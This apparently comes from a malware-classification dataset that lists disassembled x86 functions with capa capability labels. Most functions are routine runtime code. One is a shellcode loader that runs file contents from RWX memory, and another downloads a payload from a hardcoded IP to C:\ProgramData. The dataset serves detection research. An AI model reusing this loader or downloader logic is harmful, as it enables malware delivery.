joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10004cd0
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, edx
test esi, esi
not eax
je 0x10004d02
lea esp, [esp]
test cl, 3
je 0x10004d02
movzx edx, byte [ecx]
xor edx, eax
and edx, 0xff
shr eax, 8
xor eax, dword [edx*4 + 0x64ea460]
add ecx, 1
sub esi, 1
jne 0x10004ce0
cmp esi, 0x20
push ebx
push edi
jb 0x10004eec
mov edi, esi
shr edi, 5
xor eax, dword [ecx]
add ecx, 4
mov edx, eax
shr edx, 0x10
movzx ebx, ah
and edx, 0xff
mov edx, dword [edx*4 + 0x64ea860]
xor edx, dword [ebx*4 + 0x64eac60]
mov ebx, eax
and eax, 0xff
shr ebx, 0x18
xor edx, dword [ebx*4 + 0x64ea460]
add ecx, 4
xor edx, dword [eax*4 + 0x64eb060]
add ecx, 4
xor edx, dword [ecx - 8]
add ecx, 4
mov eax, edx
shr eax, 0x10
and eax, 0xff
mov eax, dword [eax*4 + 0x64ea860]
movzx ebx, dh
xor eax, dword [ebx*4 + 0x64eac60]
mov ebx, edx
and edx, 0xff
shr ebx, 0x18
xor eax, dword [ebx*4 + 0x64ea460]
add ecx, 4
xor eax, dword [edx*4 + 0x64eb060]
add ecx, 4
xor eax, dword [ecx - 0x10]
mov edx, eax
shr edx, 0x10
movzx ebx, ah
and edx, 0xff
mov edx, dword [edx*4 + 0x64ea860]
xor edx, dword [ebx*4 + 0x64eac60]
mov ebx, eax
and eax, 0xff
shr ebx, 0x18
xor edx, dword [ebx*4 + 0x64ea460]
xor edx, dword [eax*4 + 0x64eb060]
xor edx, dword [ecx - 0xc]
mov eax, edx
shr eax, 0x10
and eax, 0xff
mov eax, dword [eax*4 + 0x64ea860]
movzx ebx, dh
xor eax, dword [ebx*4 + 0x64eac60]
mov ebx, edx
and edx, 0xff
shr ebx, 0x18
xor eax, dword [ebx*4 + 0x64ea460]
xor eax, dword [edx*4 + 0x64eb060]
xor eax, dword [ecx - 8]
mov edx, eax
shr edx, 0x10
movzx ebx, ah
and edx, 0xff
mov edx, dword [edx*4 + 0x64ea860]
xor edx, dword [ebx*4 + 0x64eac60]
mov ebx, eax
and eax, 0xff
shr ebx, 0x18
xor edx, dword [ebx*4 + 0x64ea460]
xor edx, dword [eax*4 + 0x64eb060]
xor edx, dword [ecx - 4]
mov eax, edx
shr eax, 0x10
and eax, 0xff
mov eax, dword [eax*4 + 0x64ea860]
movzx ebx, dh
xor eax, dword [ebx*4 + 0x64eac60]
mov ebx, edx
shr ebx, 0x18
xor eax, dword [ebx*4 + 0x64ea460]
and edx, 0xff
xor eax, dword [edx*4 + 0x64eb060]
xor eax, dword [ecx]
add ecx, 4
mov edx, eax
shr edx, 0x10
movzx ebx, ah
and edx, 0xff
mov edx, dword [edx*4 + 0x64ea860]
xor edx, dword [ebx*4 + 0x64eac60]
mov ebx, eax
and eax, 0xff
shr ebx, 0x18
xor edx, dword [ebx*4 + 0x64ea460]
add ecx, 4
xor edx, dword [eax*4 + 0x64eb060]
sub esi, 0x20
xor edx, dword [ecx - 4]
mov eax, edx
shr eax, 0x10
and eax, 0xff
mov eax, dword [eax*4 + 0x64ea860]
movzx ebx, dh
xor eax, dword [ebx*4 + 0x64eac60]
mov ebx, edx
shr ebx, 0x18
xor eax, dword [ebx*4 + 0x64ea460]
and edx, 0xff
xor eax, dword [edx*4 + 0x64eb060]
sub edi, 1
jne 0x10004d12
cmp esi, 4
jb 0x10004f39
mov edx, esi
shr edx, 2
xor eax, dword [ecx]
add ecx, 4
mov edi, eax
shr edi, 0x10
and edi, 0xff
mov edi, dword [edi*4 + 0x64ea860]
movzx ebx, ah
xor edi, dword [ebx*4 + 0x64eac60]
mov ebx, eax
shr ebx, 0x18
xor edi, dword [ebx*4 + 0x64ea460]
and eax, 0xff
xor edi, dword [eax*4 + 0x64eb060]
sub esi, 4
sub edx, 1
mov eax, edi
jne 0x10004ef6
test esi, esi
pop edi
pop ebx
je 0x10004f5d
nop
movzx edx, byte [ecx]
xor edx, eax
and edx, 0xff
shr eax, 8
xor eax, dword [edx*4 + 0x64ea460]
add ecx, 1
sub esi, 1
jne 0x10004f40
not eax
pop esi
ret
Function at 0x401000
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push ebp
pop ebp
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0x80
push 4
push 0
push 1
push 0x80000000
push 0x409b10
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push 0x40
push 0x1000
mov edi, eax
push edi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 0
lea ecx, [ebp - 4]
push ecx
push edi
push eax
push esi
mov dword [ebp - 8], eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pushal
mov eax, dword [ebp - 8]
call eax
popal
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401080
Capabilities:
Create http request
Delete file
Download and write a file
Get http content length
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x10028
call fcn.00405570
mov eax, dword [0x409050]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
xor ebx, ebx
push ebx
push ebx
push ebx
push ebx
push str.Mozilla_4.0__compatible__MSIE_8.0__Windows_NT_6.1__Trident_4.0_
call dword [sym.imp.WININET.dll_InternetOpenA]
mov edx, eax
mov dword [ebp - 0x1c], edx
cmp edx, ebx
jne 0x4010c3
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004013cc
mov esp, ebp
pop ebp
ret
mov eax, dword [str.Accept:___r_n_r_n]
mov ecx, dword [0x407824]
mov dword [ebp - 0x14], eax
mov eax, dword [0x407828]
mov dword [ebp - 0x10], ecx
mov ecx, dword [0x40782c]
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x14]
push esi
mov dword [ebp - 8], ecx
lea esi, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4010f0
push ebx
push 0x84000100
sub eax, esi
push eax
lea eax, [ebp - 0x14]
push eax
push str.http:__38.54.104.224:56321_1.txt
push edx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov esi, eax
cmp esi, ebx
jne 0x401128
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004013cc
mov esp, ebp
pop ebp
ret
push edi
push str.C:ProgramData1.txt
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push ebx
push 0x80
push 1
push ebx
push 2
push 0x40000000
push str.C:ProgramData1.txt
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x4011e5
push ebx
lea ecx, [ebp - 0x24]
push ecx
lea edx, [ebp - 0x20]
push edx
push 0x20000005
push esi
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x24], 4
mov dword [ebp - 0x28], ebx
call dword [sym.imp.WININET.dll_HttpQueryInfoA]
test eax, eax
jne 0x401183
mov dword [ebp - 0x20], ebx
mov ebx, dword [sym.imp.WININET.dll_InternetReadFile]
lea eax, [ebp - 0x18]
push eax
push 0x4000
lea ecx, [ebp - 0x10028]
push ecx
push esi
call ebx
test eax, eax
je 0x4011d3
mov eax, dword [ebp - 0x18]
test eax, eax
je 0x4011f8
push 0
lea edx, [ebp - 0x28]
push edx
push eax
lea eax, [ebp - 0x10028]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
lea ecx, [ebp - 0x18]
push ecx
push 0x4000
lea edx, [ebp - 0x10028]
push edx
push esi
call ebx
test eax, eax
jne 0x4011a0
mov eax, dword [ebp - 0x1c]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 0
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004013cc
mov esp, ebp
pop ebp
ret
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 0x1c]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
mov eax, 1
pop ebx
call fcn.004013cc
mov esp, ebp
pop ebp
ret

Function at 0x4013cc
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x409050]
jne 0x4013d6
repz ret
jmp fcn.004027ea
Function at 0x40326b
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x409050]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.004020c7
and dword [ebp - 0x14], 0
cmp dword [0x40a7e4], 0
mov dword [ebp - 0x18], eax
jne 0x40331e
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x4033c6
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x4033c6
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x40a7e4], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x40a7e8], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x40a7ec], eax
call edi
push eax
call esi
mov dword [0x40a7f4], eax
test eax, eax
je 0x40331e
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x40a7f0], eax
mov eax, dword [0x40a7f0]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x403377
cmp dword [0x40a7f4], ecx
je 0x403377
push eax
call esi
push dword [0x40a7f4]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x403377
test ebx, ebx
je 0x403377
call edi
test eax, eax
je 0x40336e
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x40336e
test byte [ebp - 8], 1
jne 0x403377
or dword [ebp + 0x10], 0x200000
jmp 0x4033aa
mov eax, dword [0x40a7e8]
cmp eax, dword [ebp - 0x18]
je 0x4033aa
push eax
call esi
test eax, eax
je 0x4033aa
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x4033aa
mov eax, dword [0x40a7ec]
cmp eax, dword [ebp - 0x18]
je 0x4033aa
push eax
call esi
test eax, eax
je 0x4033aa
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x40a7e4]
call esi
test eax, eax
je 0x4033c6
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x4033c8
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004013cc
leave
ret
Function at 0x4110a8
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x4110e7
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4110e7
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4110e7
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x4110e7
cmp dword [ecx + 0x74], 0xe
jbe 0x4110e7
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x414142
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x101c
call fcn.00420de0
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x100c], eax
call fcn.00417918
pop ecx
mov ecx, dword [ebp + 8]
mov ebx, eax
cmp dword [ecx + 8], 0
jne 0x414184
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
jmp 0x4142e0
mov eax, dword [ecx]
sub eax, dword [ecx + 4]
push esi
push edi
push 0
cdq
push 2
push edx
push eax
call fcn.00420d30
push dword [ebp - 0x100c]
mov ecx, ebx
mov dword [ebp - 0x1008], eax
mov esi, ebx
mov dword [ebp - 0x1018], edx
and ecx, 0x3f
sar esi, 6
imul edi, ecx, 0x38
push 0
mov eax, dword [esi*4 + 0x429f18]
push dword [eax + edi + 0x24]
push dword [eax + edi + 0x20]
push ebx
call fcn.00416dd1
mov ecx, dword [esi*4 + 0x429f18]
add esp, 0x14
mov dword [ebp - 0x1010], eax
mov eax, edx
mov edx, dword [ebp - 0x1010]
mov dword [ebp - 0x101c], eax
cmp edx, dword [ecx + edi + 0x20]
jne 0x4142d9
cmp eax, dword [ecx + edi + 0x24]
jne 0x4142d9
push 0
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [ecx + edi + 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x4142d9
push dword [ebp - 0x100c]
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.00416dd1
add esp, 0x14
test edx, edx
jl 0x4142d9
jg 0x41424f
test eax, eax
jb 0x4142d9
mov ebx, dword [ebp - 0x1018]
mov eax, dword [ebp - 0x1014]
test ebx, ebx
jg 0x4142d9
jl 0x414269
cmp dword [ebp - 0x1008], eax
ja 0x4142d9
lea edi, [ebp - 0x1004]
xor edx, edx
add edi, eax
lea ecx, [ebp - 0x1004]
xor esi, esi
cmp dword [ebp - 0x1008], edx
jne 0x414287
test ebx, ebx
je 0x4142c0
cmp ecx, edi
jae 0x4142c0
mov al, byte [ecx]
cmp al, 0xd
jne 0x4142a1
lea eax, [edi - 1]
cmp ecx, eax
jae 0x4142ad
cmp byte [ecx + 1], 0xa
jne 0x4142ad
inc ecx
jmp 0x4142ad
movzx eax, al
movsx eax, byte [eax + 0x429248]
add ecx, eax
add esi, 1
adc edx, 0
inc ecx
cmp esi, dword [ebp - 0x1008]
jne 0x414287
cmp edx, ebx
jne 0x414287
lea eax, [ebp - 0x1004]
sub ecx, eax
mov eax, ecx
cdq
add eax, dword [ebp - 0x1010]
adc edx, dword [ebp - 0x101c]
jmp 0x4142de
or edx, 0xffffffff
mov eax, edx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.00410860
leave
ret
Function at 0x41793f
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x429f18]
mov dword [ebp - 0xc], ecx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x41797f
cmp byte [ebx], 0xa
jne 0x41797f
or byte [edi + eax + 0x28], 4
jmp 0x417984
and byte [edi + eax + 0x28], 0xfb
add ecx, ebx
mov eax, ebx
mov dword [ebp - 0x10], ecx
mov esi, ebx
mov dword [ebp - 8], eax
cmp ebx, ecx
jae 0x417a83
mov dl, byte [eax]
cmp dl, 0x1a
je 0x417a66
inc eax
cmp dl, 0xd
je 0x4179b0
mov dword [ebp - 8], eax
mov byte [esi], dl
jmp 0x4179d6
cmp eax, ecx
jae 0x4179e4
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add dword [ebp - 8], eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x10]
xor edx, edx
inc edx
add esi, edx
cmp eax, ecx
jb 0x417998
jmp 0x417a83
push 0
lea eax, [ebp - 0x10]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x417a61
cmp dword [ebp - 0x10], 0
je 0x417a61
mov ecx, dword [ebp - 0xc]
mov eax, dword [ecx*4 + 0x429f18]
test byte [eax + edi + 0x28], 0x48
je 0x417a3b
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x417a26
mov byte [esi], dl
jmp 0x417a37
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x429f18]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x417a83
cmp byte [ebp - 1], 0xa
jne 0x417a4a
cmp esi, ebx
jne 0x417a4a
mov byte [esi], 0xa
jmp 0x417a82
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.00416def
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x417a83
mov byte [esi], 0xd
jmp 0x417a82
mov ecx, dword [ebp - 0xc]
mov ecx, dword [ecx*4 + 0x429f18]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x417a80
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x417a83
mov byte [esi], dl
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x417a8c
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
push esi
sar ecx, 6
push edi
imul edi, eax, 0x38
mov dword [ebp - 8], ecx
mov eax, dword [ecx*4 + 0x429f18]
push 0xa
pop edx
mov dword [ebp - 0x18], edx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x1c], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x417ad2
cmp word [ebx], dx
jne 0x417ad2
or byte [eax + edi + 0x28], 4
jmp 0x417ad7
and byte [eax + edi + 0x28], 0xfb
lea edx, [ebx + ecx*2]
mov eax, ebx
mov dword [ebp - 0xc], edx
mov esi, ebx
mov dword [ebp - 4], eax
cmp ebx, edx
jae 0x417c3a
mov dword [ebp - 0x10], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x14], edx
mov edx, dword [ebp - 0xc]
cmp ecx, 0x1a
je 0x417c1a
add eax, 2
cmp cx, word [ebp - 0x10]
je 0x417b18
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x417b4e
cmp eax, edx
jae 0x417b5c
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x18]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 0xc]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
push 2
pop ecx
add esi, ecx
cmp eax, edx
jb 0x417af3
jmp 0x417c3a
push 0
lea eax, [ebp - 0x18]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x417c15
cmp dword [ebp - 0x18], 0
je 0x417c15
mov edx, dword [ebp - 8]
push 0xa
mov eax, dword [edx*4 + 0x429f18]
test byte [eax + edi + 0x28], 0x48
je 0x417beb
lea eax, [esi + 2]
mov dword [ebp - 0x1c], eax
mov ax, word [ebp - 4]
pop ecx
mov word [ebp - 2], ax
cmp ax, cx
jne 0x417baf
mov word [esi], cx
jmp 0x417be6
push 0xd
pop ecx
mov word [esi], cx
movzx ecx, ax
mov eax, dword [edx*4 + 0x429f18]
mov dx, word [ebp - 2]
shr ecx, 8
push 0xa
mov byte [eax + edi + 0x2a], dl
mov edx, dword [ebp - 8]
mov eax, dword [edx*4 + 0x429f18]
mov byte [eax + edi + 0x2b], cl
mov eax, dword [edx*4 + 0x429f18]
pop ecx
mov byte [eax + edi + 0x2c], cl
mov esi, dword [ebp - 0x1c]
jmp 0x417c3a
pop eax
cmp word [ebp - 4], ax
jne 0x417bfb
cmp esi, ebx
jne 0x417bfb
mov word [esi], ax
jmp 0x417c37
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.00416def
add esp, 0x10
push 0xa
pop eax
cmp word [ebp - 4], ax
je 0x417c3a
push 0xd
pop eax
jmp 0x417bf6
mov edx, dword [ebp - 8]
mov edx, dword [edx*4 + 0x429f18]
mov al, byte [edx + edi + 0x28]
test al, 0x40
jne 0x417c34
or al, 2
mov byte [edx + edi + 0x28], al
jmp 0x417c3a
mov word [esi], cx
add esi, 2
sub esi, ebx
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x41acf3
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x41ad90
push ebx
push esi
call fcn.0041acbc
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.0041ac50
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x41ad3d
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x41ad8f
push edi
push eax
call fcn.0041b823
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x41ad5d
call fcn.00418459
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x41ad8e
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.0041ac50
add esp, 0x20
test eax, eax
jne 0x41ad7c
push edi
call fcn.00418459
jmp 0x41ad84
push ebx
call fcn.00418459
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x41bfa0
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x4240b8
push 0x4240b0
push str.FlsAlloc
push 0x1f
call fcn.0041be5f
mov esi, eax
add esp, 0x10
test esi, esi
je 0x41bfd4
push dword [ebp + 8]
mov ecx, esi
call dword [0x422134]
call esi
jmp 0x41bfda
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x41c01e
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x4240c8
push 0x4240c0
push str.FlsGetValue
push 0x21
call fcn.0041be5f
mov esi, eax
add esp, 0x10
test esi, esi
je 0x41c055
push dword [ebp + 8]
mov ecx, esi
call dword [0x422134]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x41c05d
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x4240d0
push 0x4240c8
push str.FlsSetValue
push 0x22
call fcn.0041be5f
mov esi, eax
add esp, 0x10
test esi, esi
je 0x41c097
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x422134]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x41eb05
Capabilities:
Clear file content

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
mov ebx, dword [ebp + 8]
lea ecx, [ebp - 0x2c]
push esi
push edi
push dword [ebp + 0x10]
mov edi, dword [ebp + 0x14]
push dword [ebp + 0xc]
push ebx
call fcn.0041ea81
mov eax, dword [ebp - 0x2c]
and eax, dword [ebp - 0x28]
cmp eax, 0xffffffff
je 0x41ec74
mov eax, dword [ebp - 0x24]
and eax, dword [ebp - 0x20]
cmp eax, 0xffffffff
je 0x41ec74
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 8], ecx
mov dword [ebp - 4], eax
test ecx, ecx
jl 0x41ec29
jg 0x41eb61
test eax, eax
je 0x41ec1f
push 1
push 0x1000
call fcn.00419891
mov esi, eax
pop ecx
pop ecx
test esi, esi
jne 0x41eb84
push 0xc
pop ebx
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], ebx
jmp 0x41ec16
push 0x8000
push ebx
call fcn.00415888
pop ecx
pop ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x18]
test eax, eax
jl 0x41ebad
jg 0x41eba8
cmp ecx, 0x1000
jb 0x41ebad
mov ecx, 0x1000
push edi
push ecx
push esi
push ebx
call fcn.00418fc1
add esp, 0x10
cmp eax, 0xffffffff
je 0x41ebf2
mov ecx, dword [ebp - 4]
cdq
sub ecx, eax
mov eax, dword [ebp - 8]
mov dword [ebp - 4], ecx
sbb eax, edx
mov dword [ebp - 8], eax
test eax, eax
jg 0x41eba8
jl 0x41ebd9
test ecx, ecx
jne 0x41eb9a
push dword [ebp - 0xc]
push ebx
call fcn.00415888
push esi
call fcn.00418459
add esp, 0xc
xor ebx, ebx
jmp 0x41ec82
cmp byte [edi + 0x24], 0
je 0x41ec09
cmp dword [edi + 0x20], 5
jne 0x41ec09
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], 0xd
cmp byte [edi + 0x1c], 0
je 0x41ec14
mov ebx, dword [edi + 0x18]
jmp 0x41ec16
xor ebx, ebx
push esi
call fcn.00418459
pop ecx
jmp 0x41ec82
test ecx, ecx
jg 0x41ebeb
jl 0x41ec29
test eax, eax
jae 0x41ebeb
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.00416def
and eax, edx
add esp, 0x10
cmp eax, 0xffffffff
jne 0x41ec49
cmp byte [edi + 0x1c], 0
je 0x41ebeb
jmp 0x41ec7a
push ebx
call fcn.0041b533
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x41ebeb
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0xd
mov byte [edi + 0x24], 1
mov dword [edi + 0x20], eax
pop ebx
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], ebx
jmp 0x41ec82
cmp byte [edi + 0x1c], 0
je 0x41ec7f
mov ebx, dword [edi + 0x18]
jmp 0x41ec82
push 0x16
pop ebx
push 0
push dword [ebp - 0x28]
push dword [ebp - 0x2c]
push dword [ebp - 0x14]
call fcn.00416def
add esp, 0x10
mov eax, ebx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x420c70
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x420c9d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x420c9d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x40102a
Capabilities:
Accept command line arguments
Query environment variable

Disassembly:
push ebx
push ebp
push esi
push edi
push str._JAVA_LAUNCHER_DEBUG
call dword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
xor ebp, ebp
pop ecx
test eax, eax
je 0x401079
push str.Windows_original_main_args:_n
call fcn.0040110a
mov edi, dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll___p___argc]
mov esi, ebp
pop ecx
call edi
cmp dword [eax], ebp
jle 0x401079
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll___p___argv]
mov eax, dword [eax]
push dword [eax + esi*4]
push esi
push str.wwwd_args__d____s_n
call fcn.0040110a
add esp, 0xc
inc esi
call edi
cmp esi, dword [eax]
jl 0x401059
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push eax
call sub.jli.dll_JLI_CmdToArgs
call sub.jli.dll_JLI_GetStdArgc
mov ebx, eax
lea ecx, [ebx*4 + 4]
push ecx
call sub.jli.dll_JLI_MemAlloc
pop ecx
pop ecx
mov esi, eax
call sub.jli.dll_JLI_GetStdArgs
mov edx, ebp
test ebx, ebx
jle 0x4010b7
mov edi, esi
mov ecx, dword [eax + edx*8]
inc edx
mov dword [edi], ecx
lea edi, [edi + 4]
cmp edx, ebx
jl 0x4010aa
mov edi, dword [str.java]
mov dword [esi + edx*4], ebp
test edi, edi
jne 0x4010c6
mov edi, dword [esi]
mov edx, dword [section..data]
test edx, edx
jne 0x4010d2
mov edx, dword [esi]
mov ecx, dword [0x403020]
test ecx, ecx
push ebp
push ebp
push ebp
setne al
movzx eax, al
push eax
push edi
push edx
push 0x402188
push 0x40218c
push dword [0x403024]
push 1
push ecx
push 1
push esi
push ebx
call sub.jli.dll_JLI_Launch
add esp, 0x38
pop edi
pop esi
pop ebp
pop ebx
ret

Function at 0x40181b
Capabilities:
Parse pe header

Disassembly:
push 0
